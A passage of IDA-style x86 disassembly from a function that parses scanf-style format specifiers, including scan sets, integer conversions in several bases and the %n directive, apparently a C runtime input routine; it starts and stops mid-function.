		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
